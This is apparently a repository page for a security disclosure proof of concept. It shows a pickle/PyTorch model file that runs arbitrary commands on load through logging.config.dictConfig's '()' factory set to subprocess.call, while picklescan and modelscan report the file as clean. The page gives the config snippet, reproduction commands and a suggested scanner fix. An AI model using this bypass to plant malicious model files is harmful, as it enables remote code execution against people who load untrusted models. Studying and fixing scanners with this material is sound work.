You can deploy this model and start earning money today!

hacnho/
pickle-scanner-bypass-logging-config-dictconfig

security

poc

pickle

model-file-vulnerability

mit

Views

No views yet

Pickle Scanner Bypass via `logging.config.dictConfig` → Arbitrary Code Execution

Security research PoC (huntr MFV). This repository demonstrates a Model File Vulnerability: a malicious pickle/PyTorch model that achieves arbitrary code execution on load while being reported as not malicious by the two scanners the ecosystem relies on — Hugging Face's picklescan and Protect AI's modelscan.

The payload here is benign: on load it only writes id output to /tmp/huntr_poc_logging_config_dictconfig. No data is read, deleted, or exfiltrated. Replace the command in a real attack and it runs as the loading user.

Root cause

logging.config.dictConfig(config) supports a user-defined object factory via the '()' key in any sub-config (formatters / handlers / filters). When present, logging.config resolves the named callable and calls it with the remaining dict keys as keyword arguments. Pointing '()' at subprocess.call and passing args=[...] therefore executes an arbitrary command:

python

CONFIG = {
    "version": 1,
    "formatters": {
        "pwn": {"()": "subprocess.call", "args": ["sh", "-c", "<command>"]}
    },
}

The whole config is plain pickle data — no extra GLOBAL opcodes — so the only import the scanner sees is logging.config.dictConfig itself.

Why the scanners miss it

Scanner	Result	Reason
picklescan 1.0.4	`infected_files=0`, classified Suspicious (not Dangerous)	`logging.config` is not in `_unsafe_globals` (only `logging.FileHandler` is). Unknown globals are marked Suspicious, which does not increment `issues_count` → the file is reported as not infected.
modelscan 0.8.8	"No issues found! 🎉"	`logging.config.dictConfig` is not on modelscan's operator denylist.

subprocess never appears as a GLOBAL — it is a string inside the config dict, invisible to opcode-level scanners.

Files

model.pkl — raw pickle PoC (pickle.load triggers RCE).
model.pt — PyTorch model PoC (torch.load(..., weights_only=False) triggers RCE).
build_poc.py — reproducible builder (building does not execute the payload; __reduce__ only returns (callable, args)).

Reproduce

bash

pip install picklescan modelscan torch

# 1) Scanners report the model as clean:
python -c "from picklescan.scanner import scan_file_path as s; r=s('model.pkl'); print('picklescan infected_files=', r.infected_files)"   # -> 0
modelscan -p model.pkl     # -> No issues found! 🎉
modelscan -p model.pt      # -> No issues found! 🎉

# 2) Loading the "clean" model executes code:
python -c "import pickle; pickle.load(open('model.pkl','rb'))"
python -c "import torch;  torch.load('model.pt', weights_only=False)"
cat /tmp/huntr_poc_logging_config_dictconfig
# huntr MFV PoC (hacnho): RCE via logging.config.dictConfig
# uid=...(...) gid=...

Impact

Any pipeline that scans untrusted models with picklescan or modelscan and then deserializes the ones marked clean (pickle.load, joblib.load, torch.load(weights_only=False)) is exploitable → RCE as the loading user.

Suggested fix

Add logging.config (at least dictConfig / fileConfig) to picklescan's _unsafe_globals and modelscan's denylist — both reach arbitrary callables via the '()' factory mechanism.

Reported via the huntr Model File Vulnerability program.

hacnho/pickle-scanner-bypass-logging-config-dictconfig

Pickle Scanner Bypass via logging.config.dictConfig → Arbitrary Code Execution